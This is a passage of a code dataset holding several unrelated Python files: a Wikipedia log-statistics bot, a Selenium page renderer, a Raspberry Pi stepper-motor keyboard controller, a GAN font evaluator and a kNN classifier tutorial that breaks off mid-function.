"subprocess.PIPE", "line_number": 23, "usage_type": "name"}, {"api_name": "eventlet.green.subprocess.Popen", "line_number": 30, "usage_type": "call"}, {"api_name": "eventlet.green.subprocess", "line_number": 30, "usage_type": "name"}, {"api_name": "subprocess.PIPE", "line_number": 30, "usage_type": "name"}, {"api_name": "Shared.Logger.Logger", "line_number": 53, "usage_type": "call"}, {"api_name": "Shared.Logger.LogVerbosity.Debug", "line_number": 53, "usage_type": "attribute"}, {"api_name": "Shared.Logger.LogVerbosity", "line_number": 53, "usage_type": "name"}, {"api_name": "eventlet.green.subprocess.Popen", "line_number": 57, "usage_type": "call"}, {"api_name": "eventlet.green.subprocess", "line_number": 57, "usage_type": "name"}, {"api_name": "subprocess.PIPE", "line_number": 57, "usage_type": "name"}, {"api_name": "Shared.Logger.Logger", "line_number": 66, "usage_type": "call"}, {"api_name": "Shared.Logger.LogVerbosity.Debug", "line_number": 66, "usage_type": "attribute"}, {"api_name": "Shared.Logger.LogVerbosity", "line_number": 66, "usage_type": "name"}]} {"seq_id": "240449703", "text": "#!/usr/bin/env python2.5\r\n# -*- coding: utf-8 -*-\r\n\r\n# Copyright 2008 bjweeks, MZMcBride\r\n\r\n# This program is free software: you can redistribute it and/or modify\r\n# it under the terms of the GNU General Public License as published by\r\n# the Free Software Foundation, either version 3 of the License, or\r\n# (at your option) any later version.\r\n\r\n# This program is distributed in the hope that it will be useful,\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n# GNU General Public License for more details.\r\n\r\n# You should have received a copy of the GNU General Public License\r\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\r\n\r\nimport datetime\r\nimport operator\r\nimport MySQLdb\r\nimport wikipedia\r\n\r\nreport_title = u'Wikipedia:Informes automáticos/Usuarios por acciones de log'\r\n\r\nconn = MySQLdb.connect(host='sql-s3', db='eswiki_p', read_default_file='~/.my.cnf', use_unicode=True)\r\ncursor = conn.cursor()\r\n\r\ndef get_stats(type, action):\r\n cursor.execute(u'''\r\n /* logactions.py SLOW_OK */\r\n SELECT\r\n user_name,\r\n COUNT(log_timestamp)\r\n FROM logging\r\n JOIN user_ids\r\n ON user_id = log_user\r\n WHERE log_type = \"%s\"\r\n AND log_action = \"%s\"\r\n GROUP BY log_user;\r\n ''' % (type, action))\r\n return cursor.fetchall()\r\n\r\nquery_list = [\r\n {'name': u'Borrados', 'short_name': 'DL', 'type': 'delete', 'action': 'delete'},\r\n {'name': u'Restauraciones', 'short_name': 'UD', 'type': 'delete', 'action': 'restore'},\r\n {'name': u'Revision deletions', 'short_name': 'RD', 'type': 'delete', 'action': 'revision'},\r\n {'name': u'Event suppressions', 'short_name': 'ES', 'type': 'suppress', 'action': 'event'},\r\n {'name': u'Protecciones', 'short_name': 'PT', 'type': 'protect', 'action': 'protect'},\r\n {'name': u'Desprotecciones', 'short_name': 'UP', 'type': 'protect', 'action': 'unprotect'},\r\n {'name': u'Modificaciones de protección', 'short_name': 'PM', 'type': 'protect', 'action': 'modify'},\r\n {'name': u'Bloqueos', 'short_name': 'BL', 'type': 'block', 'action': 'block'},\r\n {'name': u'Desbloqueos', 'short_name': 'UB', 'type': 'block', 'action': 'unblock'},\r\n {'name': u'Modificaciones de bloqueos', 'short_name': 'BM', 'type': 'block', 'action': 'reblock'},\r\n {'name': u'Renombramiento de usuarios', 'short_name': 'UR', 'type': 'renameuser', 'action': 'renameuser'},\r\n {'name': u'User rights modifications', 'short_name': 'RM', 'type': 'rights', 'action': 'rights'},\r\n {'name': u'Bot flaggings', 'short_name': 'BF', 'type': 'makebot', 'action': 'grant'},\r\n {'name': u'Bot de-flaggings', 'short_name': 'BD', 'type': 'makebot', 'action': 'revoke'},\r\n {'name': u'Whitelistings', 'short_name': 'WL', 'type': 'gblblock', 'action': 'whitelist'},\r\n {'name': u'De-whitelistings', 'short_name': 'DW', 'type': 'gblblock', 'action': 'dwhitelist'}\r\n]\r\nuser_stats = {}\r\n\r\nfor query in query_list:\r\n stats_query = get_stats(query['type'], query['action'])\r\n query['len'] = len(stats_query)\r\n for row in stats_query:\r\n user = unicode(row[0], 'utf-8')\r\n count = row[1]\r\n if user not in user_stats:\r\n user_stats[user] = {query['name']: count}\r\n else:\r\n user_stats[user][query['name']] = count\r\n \r\noutput = u''\r\n\r\nreport_template = u'Usuarios por acciones de log; actualizado a las <onlyinclude>~~~~~</onlyinclude>.\\n%s'\r\n\r\ntable_template = u'''\r\n== %s ==\r\n{| class=\"wikitable sortable\" style=\"width:23em;\"\r\n|- style=\"white-space:nowrap;\"\r\n! #\r\n! Usuario\r\n! Número\r\n|-\r\n%s\r\n|}\r\n'''\r\n \r\nfor query in query_list:\r\n stat_dict = {}\r\n for user,stats in user_stats.iteritems():\r\n if query['name'] in stats:\r\n stat_dict[user] = stats[query['name']]\r\n stats = sorted(stat_dict.iteritems(), key=operator.itemgetter(1), reverse=True)[0:25]\r\n rows = []\r\n i = 1\r\n for user, count in stats:\r\n rows.append(u'''| %d\\n| %s\\n| %s\\n|-''' % (i, user, count))\r\n i += 1\r\n output += table_template % (query['name'], '\\n'.join(rows))\r\n\r\nmaster_table_template = u'''\r\n== Total ==\r\n{| class=\"wikitable sortable\" style=\"width:100%%; margin:auto;\"\r\n|- style=\"white-space:nowrap;\"\r\n! #\r\n! Usuario\r\n%s\r\n! Total\r\n|-\r\n%s class=\"sortbottom\"\r\n! colspan=\"2\" | Total\r\n%s\r\n|}\r\n'''\r\n\r\nnew_query_list = []\r\n\r\nfor query in query_list:\r\n if query['len'] > 25:\r\n new_query_list.append(query)\r\n \r\nquery_list = new_query_list\r\n\r\nrows = []\r\ntotals = dict([(query['name'], 0) for query in query_list])\r\ntotals['total'] = 0\r\ni = 1\r\nuser_stats_sorted = sorted(user_stats.iteritems(), key=operator.itemgetter(0))\r\nfor user,stats in user_stats_sorted:\r\n row = []\r\n total = 0\r\n row.append(str(i))\r\n row.append(user)\r\n for query in query_list:\r\n if query['name'] in stats:\r\n row.append(str(stats[query['name']]))\r\n total += stats[query['name']]\r\n totals[query['name']] += stats[query['name']]\r\n totals['total'] += stats[query['name']]\r\n else:\r\n row.append('0')\r\n row.append(str(total))\r\n rows.append('| %s \\n|-' % ('\\n| '.join(row)))\r\n i += 1\r\n\r\noutput += master_table_template % (\r\n '\\n'.join([u'! <span title=\"%s\">%s</span>' % (query['name'], query['short_name']) for query in query_list]), \r\n '\\n'.join(rows),\r\n '\\n'.join([u'! style=\"text-align:left;\" | %d' % totals[query['name']] for query in query_list]) + u'\\n! style=\"text-align:left;\" | %d' % totals['total']\r\n)\r\n \r\ncursor.execute('SELECT UNIX_TIMESTAMP() - UNIX_TIMESTAMP(rc_timestamp) FROM recentchanges ORDER BY rc_timestamp DESC LIMIT 1;')\r\nrep_lag = cursor.fetchone()[0]\r\n\r\nfinal_output = report_template % (output)\r\nreport = wikipedia.Page(wikipedia.Site('es', 'wikipedia'), report_title)\r\nreport.put(final_output, u'BOT - Actualizando informe')\r\n\r\ncursor.close()\r\nconn.close()", "sub_path": "tarea024-logactions.py", "file_name": "tarea024-logactions.py", "file_ext": "py", "file_size_in_byte": 5959, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "MySQLdb.connect", "line_number": 26, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 96, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 131, "usage_type": "call"}, {"api_name": "wikipedia.Page", "line_number": 159, "usage_type": "call"}, {"api_name": "wikipedia.Site", "line_number": 159, "usage_type": "call"}]} {"seq_id": "115940661", "text": "from selenium import webdriver\nfrom urllib2 import urlopen\n\nurl = 'http://localhost/mapTest.html'\nfile_name = './test.txt'\n\nconn = urlopen(url)\ndata = conn.read()\nconn.close()\n\nfile = open(file_name,'wt')\nfile.write(data)\nfile.close()\n\nbrowser = webdriver.Firefox()\nbrowser.get('file:///'+file_name)\nhtml = browser.page_source\nbrowser.quit()", "sub_path": "ClientSide_Python/htmlRender.py", "file_name": "htmlRender.py", "file_ext": "py", "file_size_in_byte": 341, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "urllib2.urlopen", "line_number": 7, "usage_type": "call"}, {"api_name": "selenium.webdriver.Firefox", "line_number": 15, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 15, "usage_type": "name"}]} {"seq_id": "395025953", "text": "#!/usr/bin/python\n#import Raspi_MotorHAT, Raspi_DCMotor, Raspi_Stepper \nfrom Raspi_MotorHAT import Raspi_MotorHAT, Raspi_DCMotor, Raspi_StepperMotor\n\nimport time\nimport atexit\nimport curses\n\n\nscreen = curses.initscr()\ncurses.noecho() \ncurses.cbreak()\nscreen.keypad(True)\n\n\nmh = Raspi_MotorHAT(0x6F)\n\n#This code turns off the motors when the program is exited.\ndef turnOffMotors():\n\tmh.getMotor(1).run(Raspi_MotorHAT.RELEASE)\n\tmh.getMotor(2).run(Raspi_MotorHAT.RELEASE)\n\tmh.getMotor(3).run(Raspi_MotorHAT.RELEASE)\n\tmh.getMotor(4).run(Raspi_MotorHAT.RELEASE)\n\natexit.register(turnOffMotors)\n\nStepper1 = mh.getStepper(200, 1) \t# 200 steps/rev, motor port #1\nStepper1.setSpeed(15) \t\t # 30 RPM\n\nStepper2 = mh.getStepper(200, 2) \t# 200 steps/rev, motor port #2\nStepper2.setSpeed(30) \t\t # 30 RPM\n \t\t# 30 RPM\n\n#Below is just a simple while loop that turns the motors in the corresponding direction to whichever key is entered\n#on the keyboard. \n\ntry:\n while (True):\n char = screen.getch()\n if char == ord('q'):\n break\n elif char == curses.KEY_UP:\n Stepper1.step(10, Raspi_MotorHAT.FORWARD, Raspi_MotorHAT.INTERLEAVE)\n\n elif char == curses.KEY_DOWN:\n Stepper1.step(10, Raspi_MotorHAT.BACKWARD, Raspi_MotorHAT.INTERLEAVE)\n\n elif char == curses.KEY_RIGHT:\n Stepper2.step(10, Raspi_MotorHAT.BACKWARD, Raspi_MotorHAT.INTERLEAVE)\n elif char == curses.KEY_LEFT:\n Stepper2.step(10, Raspi_MotorHAT.FORWARD, Raspi_MotorHAT.INTERLEAVE)\n \n\n\n \n \n\n\n\t\n\nfinally:\n \n curses.nocbreak(); screen.keypad(0); curses.echo()\n curses.endwin()\n\n\n", "sub_path": "Cannon_Control.py", "file_name": "Cannon_Control.py", "file_ext": "py", "file_size_in_byte": 1701, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "curses.initscr", "line_number": 10, "usage_type": "call"}, {"api_name": "curses.noecho", "line_number": 11, "usage_type": "call"}, {"api_name": "curses.cbreak", "line_number": 12, "usage_type": "call"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT", "line_number": 16, "usage_type": "call"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT.RELEASE", "line_number": 20, "usage_type": "attribute"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT", "line_number": 20, "usage_type": "name"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT.RELEASE", "line_number": 21, "usage_type": "attribute"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT", "line_number": 21, "usage_type": "name"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT.RELEASE", "line_number": 22, "usage_type": "attribute"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT", "line_number": 22, "usage_type": "name"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT.RELEASE", "line_number": 23, "usage_type": "attribute"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT", "line_number": 23, "usage_type": "name"}, {"api_name": "atexit.register", "line_number": 25, "usage_type": "call"}, {"api_name": "curses.KEY_UP", "line_number": 42, "usage_type": "attribute"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT.FORWARD", "line_number": 43, "usage_type": "attribute"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT", "line_number": 43, "usage_type": "name"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT.INTERLEAVE", "line_number": 43, "usage_type": "attribute"}, {"api_name": "curses.KEY_DOWN", "line_number": 45, "usage_type": "attribute"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT.BACKWARD", "line_number": 46, "usage_type": "attribute"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT", "line_number": 46, "usage_type": "name"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT.INTERLEAVE", "line_number": 46, "usage_type": "attribute"}, {"api_name": "curses.KEY_RIGHT", "line_number": 48, "usage_type": "attribute"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT.BACKWARD", "line_number": 49, "usage_type": "attribute"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT", "line_number": 49, "usage_type": "name"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT.INTERLEAVE", "line_number": 49, "usage_type": "attribute"}, {"api_name": "curses.KEY_LEFT", "line_number": 50, "usage_type": "attribute"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT.FORWARD", "line_number": 51, "usage_type": "attribute"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT", "line_number": 51, "usage_type": "name"}, {"api_name": "Raspi_MotorHAT.Raspi_MotorHAT.INTERLEAVE", "line_number": 51, "usage_type": "attribute"}, {"api_name": "curses.nocbreak", "line_number": 63, "usage_type": "call"}, {"api_name": "curses.echo", "line_number": 63, "usage_type": "call"}, {"api_name": "curses.endwin", "line_number": 64, "usage_type": "call"}]} {"seq_id": "49793219", "text": "import os\nimport csv\nfrom collections import Counter\n\nimport tensorflow as tf\nimport numpy as np\nimport cv2\nfrom tqdm import tqdm\nimport matplotlib\n\nfrom dataset import Dataset\nfrom utils import set_chars_type\n\nFLAGS = tf.app.flags.FLAGS\nmatplotlib.use('Agg')\n\n\nclass Evaluating():\n \"\"\"Evaluating generated fonts\n\n This class is for evaluating generated fonts.\n Measure between generated fonts and real fonts by using pseudo-Hamming distance.\n \"\"\"\n\n def __init__(self):\n global FLAGS\n self._setup_dirs()\n self._load_dataset()\n self._setup_chars()\n\n def _setup_dirs(self):\n \"\"\"Setup output directories\n\n If destinations are not existed, make directories like this:\n FLAGS.gan_dir\n └ evaluated\n \"\"\"\n self.dst_evaluated = os.path.join(FLAGS.gan_dir, 'evaluated')\n if not os.path.exists(self.dst_evaluated):\n os.mkdir(self.dst_evaluated)\n\n def _load_dataset(self):\n \"\"\"Load dataset\n\n Setup dataset, generated fonts and real fonts.\n \"\"\"\n self.generated_dataset = Dataset(FLAGS.generated_h5, 'r', FLAGS.img_width, FLAGS.img_height, FLAGS.img_dim)\n self.generated_dataset.set_load_data()\n self.real_dataset = Dataset(FLAGS.font_h5, 'r', FLAGS.img_width, FLAGS.img_height, FLAGS.img_dim)\n self.real_dataset.set_load_data()\n\n def _setup_chars(self):\n \"\"\"Setup characters' type\n\n Setup characters\\' type, caps or hiragana or both.\n \"\"\"\n self.embedding_chars = set_chars_type(FLAGS.chars_type)\n assert self.embedding_chars != [], 'embedding_chars is empty'\n self.char_embedding_n = len(self.embedding_chars)\n\n def calc_hamming_distance(self):\n \"\"\"Calculate pseudo-Hamming distance\n\n Measure between generated fonts and real fonts by using pseudo-Hamming distance.\n If you want to know pseudo-Hamming distance, check this:\n Uchida, et al. \"Exploring the World of Fonts for Discovering the Most Standard Fonts and the Missing Fonts\", ICDAR, 2015.\n \"\"\"\n from matplotlib import pyplot as plt\n\n def transform_backgorund_distance(src_imgs):\n bin_imgs = np.where(src_imgs > 0, 255, 0).astype(np.uint8)\n mask_imgs = np.where(src_imgs > 0, 0, 1).astype(np.uint8)\n dist_imgs = np.empty(src_imgs.shape)\n img_n = src_imgs.shape[0]\n for i in range(img_n):\n dist_imgs[i] = cv2.distanceTransform(bin_imgs[i], cv2.DIST_L2, 3)\n return mask_imgs, dist_imgs\n\n def plot(distances, filename):\n fig = plt.figure(figsize=(16, 9))\n ax = fig.add_subplot(1, 1, 1)\n ax.hist(distances, bins=50)\n plt.savefig(os.path.join(self.dst_evaluated, '{}.png'.format(filename)))\n plt.close()\n\n min_distances_list = list()\n min_real_indices_list = list()\n try:\n for c in tqdm(self.embedding_chars):\n generated_n = self.generated_dataset.get_data_n_by_labels([c])\n generated_imgs = np.mean(self.generated_dataset.get_batch_by_labels(0, generated_n, [c]), axis=3)\n mask_generated_imgs, dist_generated_imgs = transform_backgorund_distance(generated_imgs)\n real_n = self.real_dataset.get_data_n_by_labels([c])\n real_imgs = np.mean(self.real_dataset.get_batch_by_labels(0, real_n, [c]), axis=3)\n mask_real_imgs, dist_real_imgs = transform_backgorund_distance(real_imgs)\n min_distances = list()\n min_real_indices = list()\n for generated_i in tqdm(range(generated_n)):\n min_distance = float('inf')\n for real_i in range(real_n):\n distance = np.sum(np.multiply(dist_generated_imgs[generated_i], mask_real_imgs[real_i]) +\n np.multiply(dist_real_imgs[real_i], mask_generated_imgs[generated_i]))\n if distance < min_distance:\n min_distance = distance\n min_real_index = real_i\n min_distances.append(min_distance)\n min_real_indices.append(min_real_index)\n plot(min_distances, c)\n min_distances_list.append(min_distances)\n min_real_indices_list.append(min_real_indices)\n except KeyboardInterrupt:\n print('cancelled. but write csv...')\n finally:\n mean_all_min_dinstances = np.mean(np.array(min_distances_list), axis=0).tolist()\n plot(mean_all_min_dinstances, 'all')\n self._write_csv(min_distances_list, mean_all_min_dinstances, min_real_indices_list)\n\n def _write_csv(self, distances_list, all_distances, real_indices_list):\n \"\"\"Write CSV\n\n Write distances in CSV file.\n\n Args:\n distance_list: A distance, which is only 1 character's.\n all_distances: All character's average.\n real_indices_list: Index list of real fonts, that have minimum distance from a generated font.\n \"\"\"\n with open(os.path.join(self.dst_evaluated, 'evaluate.csv'), 'w') as csv_file:\n csv_writer = csv.writer(csv_file)\n font_n = len(all_distances)\n char_n = len(real_indices_list)\n header = ['', 'all_dist', 'fontname', 'most_n'] + self.embedding_chars[:char_n] + ['index_' + char for char in self.embedding_chars[:char_n]]\n csv_writer.writerow(header)\n for i in range(font_n):\n line = list()\n line.append(i)\n line.append(all_distances[i])\n real_indices = list()\n for j in range(char_n):\n real_indices.append(real_indices_list[j][i])\n count = Counter(real_indices)\n line.append(self.real_dataset.get_fontname_by_label_id('A', count.most_common()[0][0]))\n line.append(count.most_common()[0][1])\n for j in range(char_n):\n line.append(distances_list[j][i])\n line += [self.real_dataset.get_fontname_by_label_id('A', real_index) for real_index in real_indices]\n csv_writer.writerow(line)\n", "sub_path": "evaluate.py", "file_name": "evaluate.py", "file_ext": "py", "file_size_in_byte": 6323, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tensorflow.app", "line_number": 14, "usage_type": "attribute"}, {"api_name": "matplotlib.use", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 40, "usage_type": "call"}, {"api_name": "dataset.Dataset", "line_number": 47, "usage_type": "call"}, {"api_name": "dataset.Dataset", "line_number": 49, "usage_type": "call"}, {"api_name": "utils.set_chars_type", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 71, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 72, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 73, "usage_type": "call"}, {"api_name": "cv2.distanceTransform", "line_number": 76, "usage_type": "call"}, {"api_name": "cv2.DIST_L2", "line_number": 76, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.close", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 94, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path", "line_number": 128, "usage_type": "attribute"}, {"api_name": "csv.writer", "line_number": 129, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 141, "usage_type": "call"}]} {"seq_id": "85886982", "text": "# coding: utf-8\n\nimport os\nimport numpy as np\nfrom numpy import *\nimport operator\nfrom matplotlib.font_manager import FontProperties\nimport matplotlib.pyplot as plt \nimport matplotlib.lines as mines\n\ndef createDataSet():\n\t# 生成一个矩阵,每一行为一个样品\n\tgroup = array([[1.0, 0.9], [1.0, 1.0], [0.1, 0.2], [0.0, 0.1]])\n\t# 样本的所属类别\n\tlabels = ['A', 'A', 'B', 'B']\n\treturn group, labels\n\n\ndef knnClassify(newInput, dataSet, labels, k):\n\t'''\n\tnewInput:\t(1*N)待分类的\n\tdataSet:\t(M*N)训练数据\n\tlabels:\t\t训练数据标签\n\tk:\t\t\t邻近数\n\treturn:\t\t可能性最大的分类标签\n\t'''\n\t# step1: 计算距离(闵科夫斯基距离)\n\t# (1)求差\n\t# [1, 0] - [1, 2] [0, -2]\n\t# [2, 3] - [1, 2] = [1, 1]\n\t# [1, 6] - [1, 2] [0, 4]\n\t# (2)差值平方\n\t# [0, 4]\n\t# [1, 1]\n\t# [0, 16]\n\t# (3)差值平方累积\n\t# [4]\n\t# [2]\n\t# [16]\n\t# (4) 开平方,计算距离\n\t# [2] [A]\n\t# [1.41] [B]\n\t# [4] [C]\n\t# step2: 排序距离\n\t# [1.41] [B]\n\t# [2] [A]\n\t# [4] [C]\n\t# step3: 返回标签\n\t# k为2时,返回 [B, A]\n\n\trow = dataSet.shape[0] # 行数\n\tdiff = tile(newInput, (row, 1)) - dataSet\n\t# tile(A, (r, c)) ==> 将A的行复制r次, 列复制c次\n\t# [[1, 2, 1, 2],\n\t# [[1, 2], tile(A, (2, 2)) [3, 4, 3, 4],\n\t# [3, 4]] ===> [1, 2, 1, 2],\n\t#\t\t\t\t\t\t\t [3, 4, 3, 4]]\n\tdiffSquared = diff ** 2\n\tsumSquared = sum(diffSquared, axis=1)\n\tdistance = sumSquared ** 0.5\n\tsortedDiff = argsort(distance) # 返回排名(以1开始),距离越小,排名越小\n\t\n\tclassCount = {}\n\t# 选取k个近邻\n\tfor i in range(k):\n\t\tlab = labels[sortedDiff[i]] \n\t\tclassCount[lab] = classCount.get(lab, 0) + 1\n\n\t# 返回出现次数最多的类别标签\n\tprint(classCount)\n\tprint(distance)\n\t# key = operator.itemgetter(1) 获取第一个值\n\tmaxLabel = sorted(classCount.items(), key=lambda x: x[1], reverse=True)[0][0]\n\t\n\treturn maxLabel\n\n\n##############################################\n# 测试\n##############################################\n\n# dataSet, labels = createDataSet()\n# newInput = array([1.5, 0.8])\n# k = 3\n# output = knnClassify(newInput, dataSet, labels, k)\n# print('Input: ', newInput, ' Output: ', output)\n\n# newInput = array([0.3, 0.5])\n# k = 3\n# output = knnClassify(newInput, dataSet, labels, k)\n# print('Input: ', newInput, ' Output: ', output)\n\n\n#######################################################\n\ndef file2matric(filename):\n\tfn = open(filename, mode='r', encoding='utf-8')\n\tlines = fn.readlines()\n\t# print(lines)\n\trandom.shuffle(lines)\n\trows = len(lines)\n\tmatr = np.zeros((rows, 3))\n\tlabels = []\n\tindex = 0 # 行索引 \n\tfor line in lines:\n\t\tline_list = line.strip().split('\\t')\n\t\tmatr[index, :] = line_list[:3]\n\t\tif line_list[-1] == 'didntLike':\n\t\t\tlabels.append(1)\n\t\telif line_list[-1] == 'smallDoses':\n\t\t\tlabels.append(2)\n\t\telse:\n\t\t\tlabels.append(3)\n\t\tindex += 1\n\n\treturn matr, labels\n\n##############################################################\n\ndef showDatas(dataMat, dataLabels):\n\tfont = FontProperties(fname='/usr/share/fonts/opentype/noto/NotoSansCJK-Bold.ttc', size=12)\n\tfig, axs = plt.subplots(nrows=2, ncols=2, sharex=False, sharey=False, figsize=(13, 8))\n\n\tnlabels = len(dataLabels)\n\tlabelColors = []\n\tfor i in dataLabels:\n\t\tif i == 1:\n\t\t\tlabelColors.append('black')\n\t\tif i == 2:\n\t\t\tlabelColors.append('orange')\n\t\tif i == 3:\n\t\t\tlabelColors.append('red')\n\taxs[0][0].scatter(x=dataMat[:, 0], y=dataMat[:, 1], color=labelColors, s=10, alpha=0.5)\n\taxs0_title_text = axs[0][0].set_title('每年获得的飞行里程数与玩视频游戏消耗时间占比',\n\t\t\t\t\t\t\t\t\t\tFontProperties=font)\n\taxs0_xlabel_text = axs[0][0].set_xlabel('每年获得的飞行常客里程数',\n\t\t\t\t\t\t\t\t\t\tFontProperties=font)\n\taxs0_ylabel_text = axs[0][0].set_ylabel('玩游戏消耗的时间',\n\t\t\t\t\t\t\t\t\t\tFontProperties=font)\n\tplt.setp(axs0_title_text, size=13, weight='bold', color='red')\n\n\n\taxs[0][1].scatter(x=dataMat[:, 0], y=dataMat[:, 2], color=labelColors, s=10, alpha=0.5)\n\taxs0_title_text = axs[0][1].set_title('每年获得的飞行里程数与冰激淋公斤数占比',\n\t\t\t\t\t\t\t\t\t\tFontProperties=font)\n\taxs0_xlabel_text = axs[0][1].set_xlabel('每年获得的飞行常客里程数',\n\t\t\t\t\t\t\t\t\t\tFontProperties=font)\n\taxs0_ylabel_text = axs[0][1].set_ylabel('冰激淋公斤数',\n\t\t\t\t\t\t\t\t\t\tFontProperties=font)\n\tplt.setp(axs0_title_text, size=13, weight='bold', color='red')\n\n\n\taxs[1][0].scatter(x=dataMat[:, 1], y=dataMat[:, 2], color=labelColors, s=10, alpha=0.5)\n\taxs0_title_text = axs[1][0].set_title('玩游戏消耗的时间与冰激淋公斤数占比',\n\t\t\t\t\t\t\t\t\t\tFontProperties=font)\n\taxs0_xlabel_text = axs[1][0].set_xlabel('玩游戏消耗的时间',\n\t\t\t\t\t\t\t\t\t\tFontProperties=font)\n\taxs0_ylabel_text = axs[1][0].set_ylabel('冰激淋公斤数',\n\t\t\t\t\t\t\t\t\t\tFontProperties=font)\n\tplt.setp(axs0_title_text, size=13, weight='bold', color='red')\n\n\t# 设置图例\n\tdidntLike = mines.Line2D([], [], color='black', marker='.', markersize=6, label='didntLike')\n\tsmallDose = mines.Line2D([], [], color='orange', marker='.', markersize=6, label='smallDose')\n\tlargeDose = mines.Line2D([], [], color='red', marker='.', markersize=6, label='largeDose')\n\t\n\t# 添加图例\n\taxs[0][0].legend(handles=[didntLike, smallDose, largeDose])\n\taxs[0][1].legend(handles=[didntLike, smallDose, largeDose])\n\taxs[1][0].legend(handles=[didntLike, smallDose, largeDose])\n\n\t# plt.subplots_adjust(hspace=0.35, wspace=0.35)\n\tplt.subplots_adjust(hspace=0.35)\n\tplt.show()\n\n\n# if __name__ == '__main__':\n# \tfilename = './action/Ch02/datingTestSet.txt'\n# \tmat, labels = file2matric(filename)\n# \tshowDatas(mat, labels)\n\n#################################################\n\ndef autoNorm(dataSet):\n\t'''\n\tdataSet: numpy格式 \n\t'''\n\tprint('*' * 20)\n\tminVal = dataSet.min(0) # 0 - 表示纵轴上的 1 - 表示横轴\t\n\tmaxVal = dataSet.max(0)\t\n\tprint(minVal, maxVal)\n\tranges = maxVal - minVal\n\n\tnormDataSet = np.zeros(np.shape(dataSet))\n\tm = dataSet.shape[0]\n\tnormDataSet = dataSet - np.tile(minVal,(m, 1))\n\tnormDataSet = normDataSet / np.tile(ranges, (m, 1))\n\n\treturn normDataSet, ranges, minVal\n\n\n##############################################################\n\ndef classify(inX, dataSet, labels, k):\n\t'''\n\tinX: \t\t待分类集\n\tdataSet: \t训练集\n\tlabels: \t分类标签\n\tk: \t\t\t最近的k个点\n\treturn:\t\t分类结果\n\t'''\n\trows = dataSet.shape[0]\n\tdiffMat = np.tile(inX, (rows, 1)) - dataSet\n\tsqDiffMat = diffMat ** 2\n\tsqDistances = sqDiffMat.sum(axis=1)\n\tdistances = sqDistances ** 0.5\n\tsortedDistances = distances.argsort()\n\tclassCount = {}\n\tfor i in range(k):\n\t\tvoteLabel = labels[sortedDistances[i]]\n\t\tclassCount[voteLabel] = classCount.get(voteLabel, 0) + 1\n\tsortedClassCount = sorted(classCount.items(), key=operator.itemgetter(1), reverse=True)\n\treturn sortedClassCount[0][0]\n\n\ndef datingClassTest():\n\tfilename = './action/Ch02/datingTestSet.txt'\n\tdataMat, labels = file2matric(filename)\n\t# dataMat = random.shuffle(dataMat)\n\thoRatio = 0.1\n\tnormMat, ranges, minVal = autoNorm(dataMat)\n\tm = 